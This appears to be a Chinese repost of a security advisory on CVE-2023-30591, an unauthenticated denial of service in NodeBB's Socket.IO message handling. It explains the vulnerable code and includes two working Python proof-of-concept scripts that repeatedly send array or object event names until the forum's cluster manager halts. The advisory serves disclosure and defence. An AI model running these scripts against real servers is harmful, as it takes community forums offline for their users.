严重性:高 - 非特权攻击者能够导致 NodeBB 崩溃并永久退出
受影响的版本< v2.8.11(提交82f0efb)
测试版本v2.8.9(提交fb100ac)
CVE 描述:
NodeBB <= v2.8.10 中的拒绝服务允许未经身份验证的攻击者在调用eventName.startsWith()或时触发崩溃eventName.toString(),同时通过精心设计的分别包含事件名称的数组或对象类型的 Socket.IO 消息处理 Socket.IO 消息。
产品概述:
NodeBB 是一个基于 Node.js 构建的开源社区论坛平台,并添加了 Redis、MongoDB 或 PostgreSQL 数据库。该平台的特点之一是利用Socket.IO进行即时交互和实时通知。
漏洞摘要:
由于对 Socket.IO 消息中提供的意外负载的解析和处理不当,未经身份验证的攻击者能够发送恶意 Socket.IO 消息,导致 NodeBB 工作实例崩溃。尽管 NodeBB 的集群管理器尝试生成新的替代工作器,但在短时间内多次使 NodeBB 工作器崩溃后,可能会导致 NodeBB 集群管理器终止。
利用该漏洞,可以通过使用数组作为 Socket.IO 事件名称,在调用 时触发崩溃eventName.startsWith(),或者使用对象作为 Socket.IO 事件名称,并设置属性toString,在调用时触发崩溃eventName.toString()。
漏洞详细信息:
NodeBB 使用Socket.IO库来实现客户端和服务器之间基于事件的双向通信。Socket.IO 通常使用 WebSocket 进行通信,但支持 HTTP 长轮询作为后备。
NodeBB 工作线程崩溃:
该漏洞可以在实现的 Socket.IO 消息处理程序中找到/src/socket.io/index.js:
function onConnection(socket) {
...
socket.onAny((event, ...args) => {
const payload = { data: [event].concat(args) };
const als = require('../als');
als.run({ uid: socket.uid }, onMessage, socket, payload); // [1]
});
...
}
async function onMessage(socket, payload) {
...
const eventName = payload.data[0]; // [2]
...
const parts = eventName.toString().split('.'); // [3]
const namespace = parts[0];
const methodToCall = parts.reduce((prev, cur) => { // [4]
if (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {
return prev[cur];
}
return null;
}, Namespaces);
if (!methodToCall || typeof methodToCall !== 'function') { // [5]
...
return callback({ message: `[[error:invalid-event, ${escapedName}]]` }); // [6]
}
if (!eventName.startsWith('admin.') && ratelimit.isFlooding(socket)) { // [7]
winston.warn(`[socket.io] Too many emits! Disconnecting uid : ${socket.uid}. Events : ${socket.previousEvents}`);
return socket.disconnect();
}
...
}
在[1]处,使用包含名称和接收到的参数的对象onMessage()调用回调函数。请注意,没有对 执行类型验证或强制转换,并且假定 是类型。payload
event
args
eventName
eventName
String
topics.loadMoreTags在[2]处,从对象中提取事件名称(例如) payload。
在[3]中,事件名称在将其分成多个部分之前被转换为其字符串表示形式。随后,Namespaces遍历该对象以获取要调用的事件处理程序的引用并将其分配给methodToCall[4]。
在[5]处,如果methodToCall不是函数,则在[6]处将返回错误。
在[7]处,eventName.startsWith('admin.')被调用。但是,如果eventName不是String类型,则按原样抛出eventName.startsWith('admin.')a 。TypeErroreventName.startsWithundefined
-
Socket.IO 用于JSON.parse()解析 Socket.IO 消息中用户提供的事件名称。但是,Socket.IO 不对事件名称执行任何验证,并假定用户提供的事件名称是类型String。 -
SocketSocket.IO 中的对象有效地扩展自 Node.js 的EventEmitter类,因此 Socket.IO 套接字对象的大多数公开的 API 函数都依赖于EventEmitter. -
Node.js 的文档EventEmitter建议事件名称应该是 ofString或Symboltype,但不会对事件名称执行类型验证检查。 -
当存储事件侦听器(例如 via emitter.on())或查找事件侦听器(例如 via emitter.emit())时,作为参数提供的事件名称将隐式转换为String类型。 -
但是,作为参数提供的原始事件名称将传递给事件侦听器,而无需进行类型转换。 -
这会导致 Socket.IO 消息中用户提供的事件名称(可能是非字符串值)直接传递给事件侦听器。
> const eventName = ["topics.loadMoreTags"];
> ["topics.loadMoreTags"].toString()
"topics.loadMoreTags"
> const parts = eventName.toString().split('.'); // [3]
["topics", "loadMoreTags"]
> eventName.startsWith // at [7]
undefined
> const eventName = {"toString": 1};
> eventName.toString()
// TypeError
Loader.addWorkerEvents = function (worker) {
worker.on('exit', (code, signal) => {
if (code !== 0) {
if (Loader.timesStarted < numProcs * 3) {
Loader.timesStarted += 1;
if (Loader.crashTimer) {
clearTimeout(Loader.crashTimer);
}
Loader.crashTimer = setTimeout(() => {
Loader.timesStarted = 0;
}, 10000);
} else {
console.log(`${numProcs * 3} restarts in 10 seconds, most likely an error on startup. Halting.`);
process.exit(); // [8]
}
}
console.log(`[cluster] Child Process (${worker.pid}) has exited (code: ${code}, signal: ${signal})`);
if (!(worker.suicide || code === 0)) {
console.log('[cluster] Spinning up another process...');
forkWorker(worker.index, worker.isPrimary);
}
});
...
}
#!/usr/bin/env python3
import socketio
import sys
from time import sleep
delay = 0.5 # in seconds
def dos(target):
sio = socketio.Client()
sio.connect(f'{target}/socket.io')
sio.emit(["topics.loadMoreTags"], {}) # reference any valid event handler within Namespaces
def main(target):
while True:
try:
dos(target)
except KeyboardInterrupt:
sys.exit(0)
except:
pass
sleep(delay)
if __name__ == '__main__':
target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1]
main(target)
3 restarts in 10 seconds, most likely an error on startup. Halting.
#!/usr/bin/env python3
import socketio
import sys
from time import sleep
delay = 0.5 # in seconds
def dos(target):
sio = socketio.Client()
sio.connect(f'{target}/socket.io')
sio.emit({"toString":0}, {}) # any object setting toString property
def main(target):
while True:
try:
dos(target)
except KeyboardInterrupt:
sys.exit(0)
except:
pass
sleep(delay)
if __name__ == '__main__':
target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1]
main(target)
3 restarts in 10 seconds, most likely an error on startup. Halting.
原文始发于微信公众号(Ots安全):(CVE-2023-30591) NodeBB 预身份验证拒绝服务
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论